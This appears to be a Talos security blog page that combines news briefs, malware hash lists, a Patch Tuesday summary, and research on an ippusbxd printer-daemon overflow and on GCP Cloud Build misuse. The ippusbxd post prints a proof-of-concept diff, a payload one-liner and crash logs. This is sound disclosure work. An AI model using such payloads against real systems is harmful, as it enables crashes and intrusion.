Lawmakers unite to push forward Cyber Force: “A group of House lawmakers are working to keep the idea of creating a Cyber Force at the Pentagon a top cyber policy topic on Capitol Hill this year.” (Politico).

Authorities Disrupt 8Base Ransomware: “The 8Base ransomware group’s infrastructure has been disrupted and leaders have been arrested in an international law enforcement operation, Europol announced.” (Security Week)

Magecart Attackers Abuse Google Ad Tool to Steal Data: “Attackers are smuggling payment card-skimming malicious code into checkout pages on Magento-based e-commerce sites by abusing the Google Tag Manager ad tool.” (Dark Reading).

Update to iOS 18.3.1 Right Now. There’s a ‘Sophisticated Attack’ Risk, Apple Says: “A physical attack may disable USB Restricted Mode on a locked device. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals.” (Vice).

**Can't get enough Talos?**

Google Cloud Platform Data Destruction via Cloud Build

Web shell frenzies, the first appearance of Interlock, and why hackers have the worst cybersecurity: IR Trends Q4 2024 

Catch up on the latest Talos Takes podcast:

**Upcoming events where you can find Talos**

RSA (April 28-May 1, 2025) San Francisco, CA

TIPS 2025 (May 14-15, 2025) Arlington, VA

**Most prevalent malware files from Talos telemetry over the week**

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 

MD5: 2915b3f8b703eb744fc54c81f4a9c67f 

VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 

Typical Filename: VID001.exe 

Claimed Product: N/A 

Detection Name: Win.Worm.Coinminer::1201 

SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 MD5: 7bdbd180c081fa63ca94f9c22c457376 VirusTotal: https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 

Typical Filename: c0dwjdi6a.dll 

Claimed Product: N/A 

Detection Name: Trojan.GenericKD.33515991

SHA256:47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 

MD5: 71fea034b422e4a17ebb06022532fdde 

VirusTotal: https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 

Typical Filename: VID001.exe 

Claimed Product: n/a  

Detection Name: Coinminer:MBT.26mw.in14.Talos 

SHA256:873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f  

MD5: d86808f6e519b5ce79b83b99dfb9294d   

VirusTotal: 

https://www.virustotal.com/gui/file/873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f 

Typical Filename: n/a  

Claimed Product: n/a   

Detection Name: Win32.Trojan-Stealer.Petef.FPSKK8   

SHA-256: 6adbdd262a335eb59c55ca1c8b21efc1cc5a8bf0f8f5662e78fd9f00141feed1

MD5: 35f8db3dde368c6d25239d27fd79a4a7

VirusTotal: https://www.virustotal.com/gui/file/6adbdd262a335eb59c55ca1c8b21efc1cc5a8bf0f8f5662e78fd9f00141feed1/details

Typical Filename: n/a  

Claimed Product: n/a   

Detection Name: easysmartpdf.msi

Changing the narrative on pig butchering scams

Microsoft has released its monthly security update for January of 2025 which includes 58 vulnerabilities, including 3 that Microsoft marked as “critical” and one marked as "moderate". The remaining vulnerabilities listed are classified as “important.”

Tuesday, February 11, 2025 14:24

Microsoft has released its monthly security update for February of 2025 which includes 63 vulnerabilities affecting a range of products, including 4 that Microsoft marked as “critical” and one marked as "moderate."

There are two notable "critical" vulnerabilities. The first is CVE-2025-21376, which is a remote code execution (RCE) vulnerability affecting the Windows Lightweight Directory Access Protocol (LDAP). This vulnerability is a remote unauthenticated Out-of-bounds Write (OOBW) caused by a race condition in LDAP and could potentially result in arbitrary code execution in the Local Security Authority Subsystem Service (lsass.exe). This is a process in the Microsoft Windows operating systems that is responsible for enforcing the security policy on the system. Successful exploitation of this vulnerability requires an attacker to win a race condition. CVE-2025-21376 has been assigned a CVSS 3.1 score of 8.1 and is considered “more likely to be exploited” by Microsoft. 

CVE-2025-21379 is another notable critical remote code execution vulnerability. It was found in the DHCP Client Service and was also patched this month. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on vulnerable systems. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim to read or modify network communications. This vulnerability has been assigned a CVSS 3.1 score of 7.1 and is considered "less likely to be exploited” by Microsoft.

CVE-2025-21177 is a critical privilege escalation vulnerability in the Microsoft Dynamics 365 Sales customer relationship management (CRM) software. A Server-Side Request Forgery (SSRF) allows an authorized attacker to elevate privileges over a network.

CVE-2025-21381 is a critical remote code execution vulnerability affecting Microsoft Excel and could enable an attacker to execute arbitrary code on vulnerable systems. This vulnerability could be triggered via the preview pane in affected applications. This vulnerability has been listed "less likely to be exploited" by Microsoft.

CVE-2025-21368 and CVE-2025-21369 are RCE vulnerabilities flagged "important" by Microsoft. They have a CVS 3.1 score of 8.8. To successfully exploit one of these remote code execution vulnerability, an attacker could send a malicious logon request to the target domain controller. Any authenticated attacker could trigger these vulnerabilities. It does not require admin or other elevated privileges.

CVE-2025-21400 is also an RCE vulnerability flagged "important" by Microsoft, affecting the Microsoft SharePoint Server. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on vulnerable systems. This attack requires a client to connect to a malicious server and could allow an attacker to gain code execution on the client. Microsoft considers this vulnerability as "more likely to be exploited".

CVE-2025-21391 and CVE-2025-21418 are the only vulnerabilities this month which are known to be exploited in the wild. Both are privilege elevation vulnerabilities. An attacker can use CVE-2025-21391 to delete critical system files. CVE-2025-21418, nestled within the Ancillary Function Driver (AFD), exposes a pathway to local privilege escalation through the Winsock API. An attacker who successfully exploits this vulnerability could gain SYSTEM privileges.

Talos would also like to highlight the following vulnerabilities that Microsoft considers to be “important”:   

*   CVE-2025-21190 Windows Telephony Service Remote Code Execution Vulnerability
*   CVE-2025-21198 Microsoft High Performance Compute (HPC) Pack Remote Code Execution Vulnerability
*   CVE-2025-21200 Windows Telephony Service Remote Code Execution Vulnerability
*   CVE-2025-21201 Windows Telephony Server Remote Code Execution Vulnerability
*   CVE-2025-21208 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
*   CVE-2025-21371 Windows Telephony Service Remote Code Execution Vulnerability
*   CVE-2025-21406 Windows Telephony Service Remote Code Execution Vulnerability
*   CVE-2025-21407 Windows Telephony Service Remote Code Execution Vulnerability
*   CVE-2025-21410 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability

A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page.

In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

The rules included in this release that protect against the exploitation of many of these vulnerabilities are 58316, 58317, 62022, 62023, 64529-64532, 64537, 64539-64542, 64545. There are also these Snort 3 rules: 300612, 301136, 301137, 301139, 301140.

Microsoft Patch Tuesday for February 2025 — Snort rules and prominent vulnerabilities

By Aleksandar Nikolich
Earlier this year, we conducted code audits of the macOS printing subsystem, which is heavily based on the open-source CUPS package. During this investigation, IPP-USB protocol caught our attention. IPP over USB specification defines how printers that are available over USB can only still support network printing

Monday, February 10, 2025 08:30

_By Aleksandar Nikolich_

Earlier this year, we conducted code audits of the macOS printing subsystem, which is heavily based on the open-source CUPS package. During this investigation, IPP-USB protocol caught our attention. IPP over USB specification defines how printers that are available over USB can only still support network printing via Internet Printing Protocol (IPP). After wrapping up the macOS investigation, we decided to take a look at how other operating systems handle the same functionality. 

Our target Linux system was running Ubuntu 22.04, a long-term support (LTS) release that handled IPP-USB via the “ippusbxd” package. This package is part of the OpenPrinting suite of printing tools that was under a lot of scrutiny recently due to several high severity vulnerabilities in different components. Publicity around these issues has caused undue stress on the OpenPrinting suite maintainers, so, although the potential vulnerability we are about to discuss is very real, mitigating circumstances make it less severe. The vulnerability is discovered and made unexploitable by modern compiler features, and we are highlighting this rare win. Additionally, the “ippusbxd” package is replaced by a safer “ipp-usb” solution, making exploitation of this vulnerability less likely.

**Discovering the vulnerability**

On Ubuntu-flavored Linux systems, when a new USB printer is plugged in, UDEV subsystem will invoke an IPP-USB handler to enable IPP-USB functionality. In Ubuntu 22.04, this is “ippusbxd” daemon, which handles communication with the printer, announces it to the network over DNS-SD, and makes it available on a network port. As this has a potential for an interesting attack surface, it piqued our interest.

The first step when getting familiar with a code base is to try to build it. While doing so, we were presented with the following message:

    In file included from /usr/include/string.h:495,
                     from ippusbxd-1.34/src/capabilities.c:9:
    In function ‘strncpy’,
        inlined from ‘get_format_paper’ at ippusbxd-1.34/src/capabilities.c:205:9:
    /usr/include/x86_64-linux-gnu/bits/string_fortified.h:106:10: warning: ‘__builtin___strncpy_chk’ 
                  specified bound depends on the length of the source argument [-Wstringop-overflow=]
      106 |   return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest));
          |          ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ippusbxd-1.34/src/capabilities.c: In function ‘get_format_paper’:
    ippusbxd-1.34/src/capabilities.c:204:13: note: length computed here
      204 |         a = strlen(val) - strlen(tmp);
          |             ^~~~~~~~~~~
    In file included from /usr/include/string.h:495,
                     from ippusbxd-1.34/src/capabilities.c:9: 

Above is a compiler warning, enabled by “-Wstringop-overflow”, which performs lightweight static code analysis during compilation to catch common memory corruption issues. In this particular case, the compiler is telling us that there exists a potential vulnerability in the highlighted code. Essentially, compiler analysis has judged that a length argument to a “strncpy” call is based on the length of the source operand instead of the destination operand. This is a classic case of a stack-based buffer overflow involving the “strcpy” family of functions. 

To confirm that this is indeed a true positive finding, we looked at code context:

    char test1[255] = { 0 };
           char test2[255] = { 0 };
           char *tmp = strchr(val, '=');
           if (!tmp) continue;
           a = strlen(val) - strlen(tmp);           
           val+=(a + 1);
           tmp = strchr(val, ' ');
           if (!tmp) continue;
           a = strlen(val) - strlen(tmp);                                    
           strncpy(test2, val, a);                 

The above excerpt is in the part of the code that is trying to parse paper dimensions supported by the printer. Expected input would be:

    { x-dimension=1234 y-dimension=1234 }

Calls to “strlen” are used to calculate the length of the incoming numerical values, and the code can indeed result in a straightforward buffer overflow if the value specified in ”y-dimension” is longer than the buffer can hold.

Looking up the users of the offending code reveals that it’s only used during printer initialization, while interrogating printer capabilities:

    int
    ipp_request(ippPrinter *printer, int port)
    {
      http_t    *http = NULL; 
      ipp_t *request, *response = NULL;
      ipp_attribute_t *attr;
      char uri[1024];
      char buffer[1024];
      /* Try to connect to IPP server */
      if ((http = httpConnect2("127.0.0.1", port, NULL, AF_UNSPEC,
                   HTTP_ENCRYPTION_IF_REQUESTED, 1, 30000, NULL)) == NULL) {
        printf("Unable to connect to 127.0.0.1 on port %d.\n", port);
        return 1;
      }
      snprintf(uri, sizeof(uri), "http://127.0.0.1:%d/ipp/print", port);
      /* Fire a Get-Printer-Attributes request */
      request = ippNewRequest(IPP_OP_GET_PRINTER_ATTRIBUTES);
      ippAddString(request, IPP_TAG_OPERATION, IPP_TAG_URI, "printer-uri",
                     NULL, uri);
      response = cupsDoRequest(http, request, "/ipp/print");

In other words, this vulnerability would be triggered if a printer connected to a machine’s USB port reports supporting abnormally large media size

The compiler was right, this indeed constitutes a vulnerability. If exploited against a locked laptop, it could result in arbitrary code execution in a process with high privileges. 

**Developing a proof of concept**

To prove the existence and severity of this vulnerability, we need to develop a proof of concept (PoC) exploit. Since triggering this vulnerability technically requires a malicious printer being physically connected to the USB port, we have some work to do. 

An obvious route for implementing this is by using Linux USB Gadget API. The Linux USB Gadget API allows developers to create custom software-defined USB devices (i.e., gadgets). It enables device emulation, interface management, and communication protocol handling for virtual devices. In this scenario, an embedded Linux system acts as a USB device, instead of a USB host, and emulates desired functionality. Gadget drivers emulating an ethernet network interface or mass storage device are readily available in all Linux systems, and small single board computers can be used for this purpose. Among these, Raspberry Pi Zero fits all the requirements. 

Implementing a whole emulated USB printer would require significant effort, but PAPPL (a project related to OpenPrinting) already implements a featureful printer gadget that we can easily repurpose. A minimal modification to the source code is required to make the emulated printer report malicious media dimensions:

    diff --git a/pappl/printer-driver.c b/pappl/printer-driver.c
    index 10b7fda..b872865 100644
    --- a/pappl/printer-driver.c
    +++ b/pappl/printer-driver.c
    @@ -747,6 +747,7 @@ make_attrs(
           ippDelete(cvalues[i]);
       }
    +  ippAddString(attrs, IPP_TAG_PRINTER, IPP_CONST_TAG(IPP_TAG_KEYWORD), "media-size-supported",  NULL, getenv("EXPLOIT_STRING"));                      [5]
       // media-col-supported
       memcpy((void *)svalues, media_col, sizeof(media_col));
    diff --git a/testsuite/testpappl.c b/testsuite/testpappl.c
    index 460058d..7972cb6 100644
    --- a/testsuite/testpappl.c
    +++ b/testsuite/testpappl.c
    @@ -812,7 +812,7 @@ main(int  argc,                             // I - Number of command-line arguments
         }
         else
         {
    -      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;", device_uri);
    +      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;CMD:pwg;", device_uri);         [4]
           papplPrinterSetContact(printer, &contact);
           papplPrinterSetDNSSDName(printer, "Office Printer");
           papplPrinterSetGeoLocation(printer, "geo:46.4707,-80.9961");

In the above code, we instruct the emulated printer to use contents of the “EXPLOIT_STRING” environment variable as its “media-size-supported” payload. 

To set up the trigger, we first set the \`EXPLOIT_STRING\` to contain our buffer overflow payload:

    export EXPLOIT_STRING=`perl -e 'print "{x=a y=" . "A"x600 . " }"'`

Above will report \`y\` dimension to have a series of 600 A characters--enough to overflow both stack buffers and cause a crash. 

Then, we run the following on our Raspberry Pi Zero device:

    testsuite/testpappl -U -c -1 -L debug -l - --usb-vendor-id 0xeaea --usb-product-id 0xeaea

The above command, using a utility from PAPPL suite, sets up an emulated USB printer device that will, when connected via USB to our target machine, deliver our buffer overflow payload. 

The next step is to simply connect the Raspberry Pi Zero device to the target and observe the effect:

    [520463.829183] usb 3-1: new high-speed USB device number 85 using xhci_hcd
    [520463.977791] usb 3-1: New USB device found, idVendor=eaea, idProduct=eaea, bcdDevice= 4.19
    [520463.977800] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
    [520463.977804] usb 3-1: Product: Office Printer
    [520463.977807] usb 3-1: Manufacturer: PWG
    [520463.977809] usb 3-1: SerialNumber: 0
    [520463.979354] usblp 3-1:1.0: usblp0: USB Bidirectional printer dev 85 if 0 alt 0 proto 2 vid 0xEAEA pid 0xEAEA
    [520464.014666] usblp0: removed
    [520464.020827] ippusbxd[647107]: segfault at 0 ip 00007f9886cd791d sp 00007ffe5965e558 error 4 in libc.so.6[7f9886b55000+195000]
    [520464.020839] Code: 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 23 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 e9 2c 01 00 00 66

The above debug log shows that a segmentation fault has occurred in \`ippusbxd\` daemon as expected, signifying that we have successfully triggered this vulnerability.

**FORTIFY\_SOURCE**

However, closer inspection of the binary and the crash reveals the following:

    <-195299776>Note: TCP: sent 1833 bytes
    <-228919744>Note: Thread #2: No read in flight, starting a new one
    *** buffer overflow detected ***: terminated
    Thread 4 "ippusbxd" received signal SIGABRT, Aborted.
    [Switching to Thread 0x7ffff3dbe640 (LWP 649455)]
    __pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
    44      ./nptl/pthread_kill.c: No such file or directory.
    (gdb) bt
    #0  __pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
    #1  __pthread_kill_internal (signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:78
    #2  __GI___pthread_kill (threadid=140737284662848, signo=signo@entry=6) at ./nptl/pthread_kill.c:89
    #3  0x00007ffff7aea476 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
    #4  0x00007ffff7ad07f3 in __GI_abort () at ./stdlib/abort.c:79
    #5  0x00007ffff7b31676 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7c8392e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
    #6  0x00007ffff7bde3aa in __GI___fortify_fail (msg=msg@entry=0x7ffff7c838d4 "buffer overflow detected") at ./debug/fortify_fail.c:26
    #7  0x00007ffff7bdcd26 in __GI___chk_fail () at ./debug/chk_fail.c:28
    #8  0x00007ffff7bdc769 in __strncpy_chk (s1=s1@entry=0x7ffff3dbd090 "", s2=s2@entry=0x7ffff3dbd5f7 'A' <repeats 200 times>..., n=n@entry=601, s1len=s1len@entry=255) at ./debug/strncpy_chk.c:26
    #9  0x000055555555f502 in strncpy (__len=601, __src=0x7ffff3dbd5f7 'A' <repeats 200 times>..., __dest=0x7ffff3dbd090 "") at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:95
    #10 get_format_paper (val=0x7ffff3dbd5f7 'A' <repeats 200 times>..., val@entry=0x7ffff3dbd5f0 "{x=a y=", 'A' <repeats 193 times>...) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:220
    #11 0x000055555555fa62 in ipp_request (printer=printer@entry=0x7fffec000b70, port=<optimized out>) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:297
    #12 0x000055555555d07c in dnssd_escl_register (data=0x5555555a77e0) at ./ippusbxd_testing/ippusbxd-1.34/src/dnssd.c:226
    #13 0x00007ffff7b3cac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
    #14 0x00007ffff7bce660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

What caused the crash wasn’t directly the buffer overflow that overwrote stack content causing memory corruption. Nor was it stack smashing protection, a probabilistic mitigation that can be bypassed under certain conditions. In this case, the crash was caused by explicit program termination due to a detected condition for buffer overflow before it happened. This detection is the result of a compiler feature called “FORTIFY_SOURCE”, which replaces common error-prone functions with safer versions automatically. This means that the vulnerability is strongly mitigated and isn’t exploitable beyond causing a crash. 

**Conclusion**

We often hear of all the failings of software and vulnerabilities and mitigation bypasses, and we felt we should take this opportunity to highlight the opposite. In this case, modern compiler features, static analysis via -Wstringop-overflow and strong mitigation via FORTIFY_SOURCE, saved the day. These should always be enabled by default. Additionally, those compiler warnings are only useful if someone actually reads them. 

In this case, the impact of this vulnerability would be minor even if it were widely exploitable. The \`ippusbxd\` package development was abandoned in favor of a superior implementation via the “ipp-usb package implemented in a memory safe language that would prevent these sorts of issues from occurring in the first place. Developers readily point out that \`ippusbxd\` has been surpassed by \`ipp-usb\`, isn’t maintained, and isn’t used by any operating system. Ubuntu 22.04 being a long-term support version is an exception. Newer versions have switched to using \`ipp-usb\`.

Small praise for modern compilers - A case of Ubuntu printing vulnerability that wasn’t

Thorsten examines last year’s CVE list and compares it to recent Talos Incident Response trends. Plus, get all the details on the new vulnerabilities disclosed by Talos’ Vulnerability Research Team.

Thursday, February 6, 2025 14:03

> “Enough Ripples, And You Change The Tide. For The Future Is Never Truly Set.” X-Men: Days of Future Past

In January, I dedicated some time to examine threat data from 2024, comparing it with the previous years to identify anomalies, spikes, and changes.  

As anticipated, the number of Common Vulnerabilities and Exposures (CVEs) rose significantly, from 29,166 in 2023 to 40,289 in 2024, marking a substantial 38% increase. Interestingly, the severity levels of the CVEs remained centered around 7-8 for both years. 

When taking a closer look at the known exploited vulnerabilities reported by the Cybersecurity and Infrastructure Security Agency (CISA), I observed that the numbers remained relatively stable, with 186 in 2024 compared to 187 in 2023. However, there was a noteworthy 36% increase for the critical vulnerabilities scored (9-10).  

There is more to uncover from this data, and the analysis is still ongoing.  

It was also time to “stack” the data of our Quarterly Incident Response Reports. The standout aspects are the initial access vectors to me. "Exploiting Public Facing Applications" and "Valid Accounts" were dominant, outperforming other methods. This serves as a timely reminder to implement (proper) MFA and other identity and access control solutions as well as patch regularly and replace end-of-life assets. 

Reflecting on CVEs, patching, initial access vectors and also lateral movement, it's important to remember that the "free" support for Windows 10 will end on October 14, 2025.  

Mark.your.calendars. Please. And plan accordingly to ensure your systems remain secure.  

**The one big thing**

Cisco Talos’ Vulnerability Research team recently disclosed three vulnerabilities in Observium, three vulnerabilities in Offis, and four vulnerabilities in Whatsup Gold.   

**Why do I care?**

Observium and WhatsUp Gold can be categorized as Network Monitoring Systems (NMS). A NMS as such holds a lot of valuable information such as Network Topology, Device Inventory, Log Files, Configuration Data and more, making them an attractive for the bad guys. 

**So now what?**

The vulnerabilities mentioned in this blog post have been patched by their respective vendors, make sure your installation is up to date. 

**Top security headlines of the week**

The Cybersecurity and Infrastructure Security Agency analyzed a patient monitor used by the Healthcare and Public Health sector and discovered an embedded backdoor. (CISA) 

Apple has released software updates to address several security flaws across its portfolio, including a zero-day vulnerability that it said has been exploited in the wild. (Hacker News) 

Nearly 100 journalists and other members of civil society using WhatsApp were targeted by a “zero-click” attack (Guardian) 

DeepSeek AI tools impersonated by infostealer malware on PyPI (Bleeping Computer) 

**Can't get enough Talos?**

*   Web shell frenzies, the first appearance of Interlock, and why hackers have the worst cybersecurity: IR Trends Q4 2024 
*   New TorNet backdoor seen in widespread campaign 

**Upcoming events where you can find Talos**

Talos team members: Martin LEE, Thorsten ROSENDAHL, Yuri KRAMARZ, Giannis TZIAKOURIS, and Vanja SVAJCER will be speaking at Cisco Live EMEA. Amsterdam, Netherlands, 9-14 February.   

S4x25 (February 10-12, 2025)  
Tampa, FL

RSA (April 28-May 1, 2025)  
San Francisco, CA

TIPS 2025 (May 14-15, 2025)  
Arlington, VA

**Most prevalent malware files from the week**

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 

MD5: 2915b3f8b703eb744fc54c81f4a9c67f 

VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 

Typical Filename: VID001.exe 

Claimed Product: N/A 

Detection Name: Win.Worm.Coinminer::1201 

SHA256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 

MD5: 71fea034b422e4a17ebb06022532fdde 

VirusTotal: https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 

Typical Filename: VID001.exe 

Claimed Product: n/a  

Detection Name: Coinminer:MBT.26mw.in14.Talos 

SHA256:873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f  

MD5: d86808f6e519b5ce79b83b99dfb9294d   

VirusTotal: 

https://www.virustotal.com/gui/file/873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f 

Typical Filename: n/a  

Claimed Product: n/a   

Detection Name: Win32.Trojan-Stealer.Petef.FPSKK8   

SHA 256:7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5   

MD5: ff1b6bb151cf9f671c929a4cbdb64d86   

VirusTotal: https://www.virustotal.com/gui/file/7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5  

Typical Filename: endpoint.query   

Claimed Product: Endpoint-Collector   

Detection Name: W32.File.MalParent   

SHA 256: 744c5a6489370567fd8290f5ece7f2bff018f10d04ccf5b37b070e8ab99b3241 

MD5: a5e26a50bf48f2426b15b38e5894b189 

VirusTotal: https://www.virustotal.com/gui/file/744c5a6489370567fd8290f5ece7f2bff018f10d04ccf5b37b070e8ab99b3241 

Typical Filename: a5e26a50bf48f2426b15b38e5894b189.vir 

Claimed Product: N/A 

Detection Name: Win.Dropper.Generic::1201

Changing the tide: Reflections on threat data from 2024

A technical overview of Cisco Talos' investigations into Google Cloud Platform Cloud Build, and the threat surface posed by the storage permission family.

Thursday, February 6, 2025 06:00

**Background & Public Research**

Google Cloud Platform (GCP) Cloud Build is a Continuous Integration/Continuous Deployment (CI/CD) service offered by Google that is utilized to automate the building, testing and deployment of applications. Orca Security published an article describing certain aspects of the threat surface posed by this service, including a supply chain attack vector they have termed “Bad.Build”. One specific issue they identified, that Cloud Build pipelines with the default Service Account (SA) could be utilized to discover all other permissions assignments in a GCP project, was resolved by Google after Orca reported it. The general threat vector of utilizing Cloud Build pipelines to perform malicious actions, however, is still present. A threat actor with just the ability to submit and run a Cloud Build job (in other words, who has the _cloudbuild.builds.create_ permission) can execute any _gcloud_ GCP command line interface (CLI) command that the Cloud Build SA has the permissions to perform. A threat actor could perform these techniques either by obtaining credentials for a GCP user or SA (Mitre ATT&CK T1078.004) or by pushing or merging code into a repository with a Cloud Build pipeline configured (Mitre T1195.002). Orca Security focused on utilizing this threat vector to perform a supply chain attack by adding malicious code to a victim application in GCP Artifact Registry. Talos did not extensively examine this technique since Orca’s research was quite comprehensive, but confirmed it is still possible.

**Original Research**

Cisco Talos research detailed below focused on malicious actions enabled by the _storage.\*_ permission family, while the original Orca research detailed a supply chain attack scenario enabled by the _artifactregistry.\*_ permissions. Beyond the risk posed by the default permissions, any additional permissions assigned to the Cloud Build SA could potentially be leveraged by a threat actor with access to this execution vector, which is an area for potential future research. While Orca mentioned that a Cloud Build job could be triggered by a merge event in a code repository, in their article they utilized the _gcloud_ Command Line Interface (CLI) tool to trigger the malicious build jobs they performed. Talos meanwhile utilized commits to a GitHub repository configured to trigger a Cloud Build job, since this is a form of Initial Access vector that would allow a threat actor to target GCP accounts without access to an identity principal for the GCP account.

Unlike the Orca Security findings, Talos does not assess that the attack path illustrated in the following research represents a vulnerability or badly architected service. There are legitimate business use cases for every capability and default permission that we utilized for malicious intent, and Google has provided robust security recommendations and defaults. This research, instead, should be taken as an instructive illustration of the risks posed by these capabilities for cloud administrators who may be able to limit some of the features that were misused if they are not needed in a particular account. It can also be a guide for security analysts and investigators who can monitor the Operations Log events identified, threat hunt for their misuse, or identify them in a post-incident incident response workflow.

**Defensive Recommendations Summary**

Talos recommends creating an anomaly model-style threat detection for the default Cloud Build SA performing actions that are not standard for it to execute in a specific environment. As always, properly applying the principle of least privilege by assigning Cloud Build a lower privileged Service Account with just the permissions needed in a particular environment will also reduce the threat surface identified here. Finally, review the configuration applied to any repositories that can trigger Cloud Build or other CI/CD service jobs, require manual approval for builds triggered by Pull Requests (PRs) and avoid allowing anyone to directly commit code to GitHub repositories without a PR. More details on all three of these topics are described below.

**Lab Environment Setup**

Talos has an existing Google Cloud Platform lab environment utilized for offensive security research. Within that environment, a Cloud Storage bucket was created and the Cloud Build Application Programming Interface (API) were enabled. Additionally, a target GitHub repository was created; For research purposes, this repository was set to private, but an actual adversary would likely take advantage of a public repository in most cases. The Secrets Manager API is also needed for Cloud Build to integrate with GitHub, so that was also enabled. These actions can be performed using the _gcloud_ and GitHub _gh_ CLI tools using the following commands:

    gcloud storage buckets create BUCKET_NAME --location=LOCATION --project=PROJECT_ID
    gcloud services enable cloudbuild.googleapis.com --project=PROJECT_ID\
    gcloud services enable secretmanager.googleapis.com --project=PROJECT_ID
    gh repo create REPO_NAME --private --description "Your repository description"
    

Next, to simulate a real storage bucket populated with data, a small shell script was executed that created 100 text files containing random data and transferred them to the new Cloud Storage bucket.

    #!/bin/bash
    # Set your bucket name here
    BUCKET_NAME="data-destruction-research"
    # Create a directory for the files
    mkdir -p random_data_files
    # Generate 500 files with 10MB of random data
    for i in {1..100}
    do
        FILE_NAME="random_data_files/file_$i.txt"
        # Use /dev/urandom to generate random data and `head` to limit to 10MB
        head -c $((10*1024*1024)) </dev/urandom > "$FILE_NAME"
        echo "Generated $FILE_NAME"
    done
    # Upload the files to the GCP bucket
    for FILE in random_data_files/*
    do
        gsutil cp "$FILE" "gs://$BUCKET_NAME/"
        echo "Uploaded $FILE to gs://$BUCKET_NAME/"
    done
    

Then the GitHub repository and Cloud Build were integrated by creating a connection between the two resources, which can be done using the following command, followed by authenticating and granting access on the GitHub.com side.

    gcloud builds connections create github CONNECTION_NAME --region=REGION

Finally, a Cloud Build “trigger” that starts a build when code is pushed to the main branch, a pull request (PR) is created, or code is committed to an existing pull request in the victim GitHub repository, was configured. This can be done using the following _gcloud_ command:

    gcloud builds triggers create github \
      --name=TRIGGER_NAME \
      --repository=projects/PROJECT_ID/locations/us-west1/connections/data-destruction/repositories/REPO_NAME \
      --branch-pattern=BRANCH_PATTERN # or --tag-pattern=TAG_PATTERN \
      --build-config=BUILD_CONFIG_FILE \
      --region=us-west1
    

**Defensive Notes**

Google’s documentation warns users that it is recommended to require manual approval to trigger a build if utilizing the creation of a PR or a commit to a PR as a trigger condition, since any user that can read a repo can submit a PR. This is excellent advice that should be followed whenever possible, and reviewers should be made aware of the threat surface posed by Cloud Build. For the purpose of illustrating the potential threat vector here, this advice was not heeded and manual approval was not setup in the Talos lab environment. Builds can also be triggered based on a PR being merged into the main branch, which is another reason besides protecting the integrity of the repository that an approving PR review should be required before PRs are merged.

There may be real world scenarios where a valid business case exists to allow automatic build events when a PR is created, which is why a proper defense in depth strategy should include monitoring the events performed by any Service Accounts assigned to Cloud Build. Google also offers the ability to require a comment containing the string “/gcbrun” from either just a user with the GitHub repository owner or collaborator roles or any contributor to be made on a PR to trigger the Cloud Build run. This is another strong security feature that should be configured with the owner or collaborator option selected if possible. If performing a penetration test or red teaming engagement and attempting to target GCP via a GitHub PR, it may be worth commenting that string on your malicious PR in case the Cloud Build trigger is configured to allow any contributor this privilege.

